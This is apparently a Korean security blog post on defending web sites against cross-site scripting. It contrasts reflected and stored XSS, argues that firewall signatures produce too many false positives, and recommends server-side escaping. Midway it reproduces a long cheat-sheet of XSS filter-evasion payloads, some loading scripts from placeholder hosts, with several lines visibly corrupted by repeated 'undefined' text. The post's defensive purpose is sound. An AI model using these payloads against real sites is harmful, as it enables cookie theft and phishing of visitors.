XSS 공격에 대한 대응 고민
XSS 공격에 대한 고민
XSS는 Cross Site Scripting 의 약자입니다.
CSS 로 줄여쓰지 않는것은 CSS(Cascading Style Sheets) 와 구분해서 사용하기 위함이라 합니다.
아무튼 XSS 는 SQL-Injection 과 더불어서 웹해킹의 대명사로 불리고 있습니다.
서버가 직접 해킹당하는 것은 아니기에 우리나라에서는 큰 문제로 부각되고 있지는 않지만
외국에서는 중요 취약점으로 이미 분류하고 있습니다.
왜냐하면 XSS는 사용자(클라이언트)가 해킹당하는 문제입니다.
XSS 공격에 의해 개인정보가 유출될 수도 있고, 악성코드에 감염될 수도 있습니다.
즉 내 사이트를 방문한 고객에게 직접적으로 문제가 발생할 수 있는 취약점이기에
사이트를 방문한 고객에 대한 신뢰를 생각한다면 결코 만만한 문제가 아닌 것이죠..
페이팔 같은 경우 2006년 XSS 에 의해 피싱사이트로 유도되어 개인정보가 유출된 사고가 있었는데
피싱과 연계되어 신용카드 번호같은 금융정보가 유출되는 사고가 발생한다면
사용자에게 금전적인 손해가 발생할 수 있으며
사이트의 신뢰에 큰 악영향을 줄 것은 분명한 일입니다.
따라서 사소한 XSS 취약점이라도 문제점이 없도록 노력하는 모습을 볼 수 있습니다.
일본인 특유의 조심성, 호들갑일수 있지만
모 일본 사이트의 게시판이 폐쇄된 적이 있었는데
보안진단중에 게시판에 XSS 취약점이 발견되어 일단 계시판을 폐쇄하고
문제점을 개선한 후에 재 오픈하겠다는 내용이었습니다.
XSS가 발생할 수 있는 경우는 2가지 형태가 있습니다.
가장 단순한것은 사용자 Input 값이 출력값에 그대로 포함되는 형태입니다.
예를들어 hxxp://www.xxxx.com/login.asp?id=bangrip<script>alert("ff");</script> 로 호출했을때
서버에서 응답한 html 소스에 입력값이 그대로 출력되어 스크립트가 실행되는 것이죠.
이와같은 경우는 input 페이지와 output 페이지가 동일한 경우입니다.
반면 공격자가 삽입한 스크립트가 db에 저장되어 실행되는 경우가 있습니다.
이를테면 게시판의 제목이나 본문에 스크립트를 삽입했을경우 input 페이지는
write.asp 이지만 출력페이지는 view.asp 가 되는 경우입니다.
이경우는 스크립트가 삽입된 게시물을 클릭한 모든이에게 문제가 발생할 수 있기 때문에
전자보다 더 리스크가 크다고 볼 수 있습니다.
아무튼 이번 쓰레드 주제 역시 근본적인 대응에 대한 고민입니다.
단순 삽입이 되던, db에 저장되었다 실행이 되던간에
어떻게 하면 XSS 취약점이 없다고 자신할 수 있는 안전한 사이트를 만들 것인가에 대한 고민이죠..
XSS는 IPS나 웹방화벽으로 막는것이 어렵다는 것이 제 개인적인 생각입니다.
왜냐하면 SQL-Injection 은 DB에서 사용하는 문자이기에 시그니처를 만들 수 있었지만
XSS 태그와 정상적인 HTML 태그를 구분해 내는것이 쉽지 않기 때문입니다.
(물론 사이트에 따라 다를 수 있습니다.)
document.cookie 라는 문자열 역시 탐지 패턴으로 걸어 보았더니. 무수하게 많이 뜨더라고요.
즉 false-positive 가 너무 많아서 순수 공격을 가려내기가 힘이든다는 것이죠..
SecurityPlus에 게시된 XSS 공격에 사용되는 시그니처들입니다.
http://cafe.naver.com/ArticleRead.nhn?clubid=10414494&page=8&searchtype=1&query=XSS&searchdate=all&articlemedia=0&sortby=date&articleid=5517&referrerAllArticles=true
[1] XSS Javascript Injection
<SCRIPT SRC="http://xxx/xss.js></SCRIPT>[2] Image XSS의 다양한 Type
<IMG SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')>
<IMG SRC="JaVaScRiPt:alert('XSS')>
<IMG SRC="javascript:alert("XSS")>
<IMG SRC="`javascript:alert("RSnake says, 'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83)>
<IMG SRC="javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="  javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')"
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<IMG SRC='vbscript:msgbox("XSS")'>
[3] Non-alpha-non-digit XSS
<SCRIPT SRC="http://xxxx/xss.js">>[4] Title Tag XSS
<script>alert("XSS");</script>[5] Input Tag XSS
<BODY ONLOAD=alert('XSS')>
[7] Meta Tag XSS
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
[8] Frame Tag XSS
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<iframe src="http://xxxx/scriptlet.html <
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
[9] Table Tag XSS
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
[10] DIV Tag XSS
<DIV STYLE="background-image: url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
[11] Style Tag XSS
<STYLE>@import'http://xxx/xss.css';</STYLE>
<XSS STYLE="behavior: url(xss.htc)undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined;">
<STYLE>li {list-style-image: url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS')");}</STYLE><UL><LI>XSS
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
<STYLE>.XSS{background-image:url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS')")}</STYLE>
[12] Various Tag XSS
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://xxx/xss.css>
<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
<BASE HREF="javascript:alert('XSS');//">
<EMBED SRC="http://xxxx/xss.swf AllowScriptAccess="always"></EMBED>
[13] Other Types
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
\";alert('XSS');//
¼script¾alert(¢XSS¢)¼/script¾
><script>alert(xss)</script></PRE>
오탐이 없는 시그니처를 만들어 냈다고 하더라도
위와같이 수많은 패턴들이 존재하기 때문에 모든 공격을 방어할 수가 없습니다.
결국은 서버사이드 스크립트 페이지 레벨에서 막을 수 밖에 없습니다.
html 태그 문자가 입력값에 포함되어 있을 경우 예외 처리를 하는 것이죠.
< → <> → >" → "( → () → )# → #
그런데 무조건 이 룰을 적용할 수는 없습니다.
만일 검색 페이지라면 (주)한국 이라는 검색어로 사용자가 검색을 시도할 경우
(한국) 이라는 문자열로 검색이 될 테니 정상적으로 동작을 안할 수 있는 것이죠.
즉 특수문자를 예외처리 하기 이전에 페이지에서 사용하는 비지니스 로직과이상이 없는지 먼저 판단을 해야 합니다.
그 다음에 작업을 해야 XSS 필터 적용했다가 문제가 발생해서 원복시키는 불상사를 막을 수 있습니다.
실제로 개발팀과 작업을 해 보니 SQL-Injecton 대응때보다 훨씬 시간이 많이들고 어렵더라고요..
개발팀에서 가이드한대로 알아서 처리해 주면 좋겠건만.
페이지마다 하나하나 어떻게 하라고 예기를 해 주어야 만족할 만한 수정이 되니까요.
역시 결론은 설계시 안전한 설계가 중요하다는 생각입니다.
개발 Rule 에 XSS 대응 관련 Rule 을 포함시키고 취약점이 발견이 되면
개발 Rule을 제대로 준수하지 않은 개발팀에 책임을 전가시키는 것이죠 ㅎㅎㅎ
쓰레드를 쓰다 보니 별로 도움이 안되는 결론이네요., 에구궁..
참고로 XSS에 대한 정보는 아래 사이트에서 많이 얻을수가 있습니다.
http://www.xssed.com/
출처 : http://www.securityplus.or.kr/xe/?document_srl=20235&mid=textyle&vid=bangrip1